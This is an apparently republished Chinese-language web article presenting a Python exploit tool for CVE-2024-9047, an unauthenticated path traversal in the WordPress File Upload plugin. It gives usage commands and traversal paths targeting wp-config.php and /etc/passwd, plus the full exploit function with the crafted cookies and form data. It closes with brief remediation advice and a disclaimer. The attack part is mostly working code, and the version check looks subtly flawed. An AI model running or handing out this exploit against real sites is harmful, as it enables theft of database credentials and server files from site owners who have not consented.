WordPress File Upload路径遍历漏洞利用工具对比评测 (CVE-2024-9047)

2026-06-16阅读 0热度 0
word

WordPress File Upload 插件路径遍历漏洞利用工具 (CVE-2024-9047) — 安全检测与渗透验证

WordPress File Upload 插件近期披露了一项严重路径遍历漏洞(CVE-2024-9047),影响范围覆盖 4.24.11 及更早版本。攻击者无需任何身份校验,即可通过该漏洞读取乃至删除服务器上的任意文件,包括高度敏感的 wp-config.php。本工具专为安全研究人员及获得授权的渗透测试人员设计,帮助快速验证与利用该漏洞。

WordPress File Upload 插件路径遍历漏洞利用工具 (CVE-2024-9047)

核心功能

  • 零凭证利用:全程无需 WordPress 账户,开箱即用,无需额外配置。
  • 任意文件读取:成功利用后可获取服务器上任意可读文件,如 wp-config.php/etc/passwd 等关键内容。
  • 自定义目标路径:支持灵活指定待读取文件路径,适配不同攻击面。
  • 兼容 PHP 7.4 及更早版本:漏洞利用依赖特定 PHP 环境,本工具针对此条件优化。
  • 命令行友好:提供简洁的参数接口,便于集成至自动化扫描或安全测试流水线。

环境准备与安装

基础依赖:Python 3.6 以上版本及 requests 库。

部署步骤:

  1. 克隆或下载项目代码到本地:
git clone 
cd CVE-2024-9047-Exploit
  1. 安装 Python 依赖(若未安装 requests):
pip install requests

操作指南

基础命令格式:

python CVE-2024-9047.py --url <目标WordPress站点URL> [--command <目标文件路径>]
  • --url, -u:必填参数,目标 WordPress 根 URL(例如 )。
  • --command, -c:可选参数,待读取文件的绝对路径。默认值为 /../../../../../opt/lampp/htdocs/wordpress/wp-config.php

以下是典型用法示例:

场景一:快速检测漏洞并读取默认配置

python CVE-2024-9047.py -u 

工具自动检测插件版本,若版本 ≤ 4.24.11 且 PHP 环境满足条件,则尝试读取 wp-config.php 文件。

场景二:指定读取其他敏感文件

python CVE-2024-9047.py -u  --command /../../../../../etc/passwd

执行输出示例

Detected version: "trunk"
The site is vulnerable!
Exploit successful! Response:

工作流程详解

  1. 漏洞利用:工具向 /wp-content/plugins/wp-file-upload/wfu_file_downloader.php 发送 POST 请求,携带精心构造的 Cookie 与表单数据,通过路径遍历读取目标文件。
  2. 结果输出:若利用成功,控制台直接显示文件内容;否则返回失败状态码。

核心实现

1. 版本检测模块

def check_version(url):
    try:
        if response.status_code == 200 and "Stable tag" in response.text:
            for line in response.text.splitlines():
                if "Stable tag" in line:
                    version = line.split(":")[1].strip()
                    print(f"Detected version: {version}")
                    if version <= "4.24.11":
                        print("The site is vulnerable!")
                        return True
                    else:
                        print("The site is not vulnerable.")
                        return False
        else:
            print("Unable to detect the plugin version.")
            return False
    except requests.RequestException as e:
        print(f"Error checking version: {e}")
        return False

2. 核心利用模块

def exploit(url, command):
    try:
        exploit_url = f"{url}/wp-content/plugins/wp-file-upload/wfu_file_downloader.php"
        cookies = {
            "wp_wpfileupload_testupload": "Nxploited",
            "wfu_storage_file123": command,
            "wfu_download_ticket_ticket123": "9876543210987",
            "wfu_ABSPATH": "/",
        }
        data = {
            "file": "file123",
            "ticket": "ticket123",
            "handler": "dboption",
            "session_legacy": "1",
            "dboption_base": "cookies",
            "dboption_useold": "0",
            "wfu_cookie": "wp_wpfileupload_testupload",
        }
        response = requests.post(exploit_url, cookies=cookies, data=data, timeout=10)
        if response.status_code == 200:
            print("Exploit successful! Response:")
            print(response.text)
        else:
            print(f"Exploit failed. Response code: {response.status_code}")
    except requests.RequestException as e:
        print(f"Error during exploitation: {e}")

3. 主控制流程

def main():
    parser = argparse.ArgumentParser(description="The WordPress File Upload plugin for WordPress is vulnerable to Path Tra versal in all versions up to, and including, 4.24.11 via wfu_file_downloader.php. This makes it possible for unauthenticated attackers to read or delete files outside of the originally intended directory. Successful exploitation requires the targeted WordPress installation to be using PHP 7.4 or earlier.")
    parser.add_argument("--url", "-u", required=True, help="Target URL (e.g., )")
    parser.add_argument("--command", "-c", default="/../../../../../opt/lampp/htdocs/wordpress/wp-config.php", help="File path to read")
    args = parser.parse_args()
    target_url = args.url.rstrip("/")
    command = args.command
    if check_version(target_url):
        exploit(target_url, command)

漏洞修复建议

  • 立即将 WordPress File Upload 插件更新至最新稳定版本。
  • 升级 PHP 环境至 7.4 以上官方支持版本(推荐 8.x 系列以获得更强安全性)。
  • 严格限制 Web 服务器文件系统权限,避免 Web 用户可读取敏感文件。
  • 部署 Web 应用防火墙(WAF),拦截包含路径遍历特征的恶意请求。

法律免责声明

本工具及全部文档仅供安全研究、教学及合法授权的渗透测试使用。未经明确授权,以任何方式使用本工具攻击目标系统均属违法行为,使用者需自行承担全部法律责任。项目作者及贡献者不对任何滥用或非法行为负责。

免责声明

本网站新闻资讯均来自公开渠道,力求准确但不保证绝对无误,内容观点仅代表作者本人,与本站无关。若涉及侵权,请联系我们处理。本站保留对声明的修改权,最终解释权归本站所有。

相关阅读

更多
欢迎回来 登录或注册后,可保存提示词和历史记录
登录后可同步收藏、历史记录和常用模板
注册即表示同意服务条款与隐私政策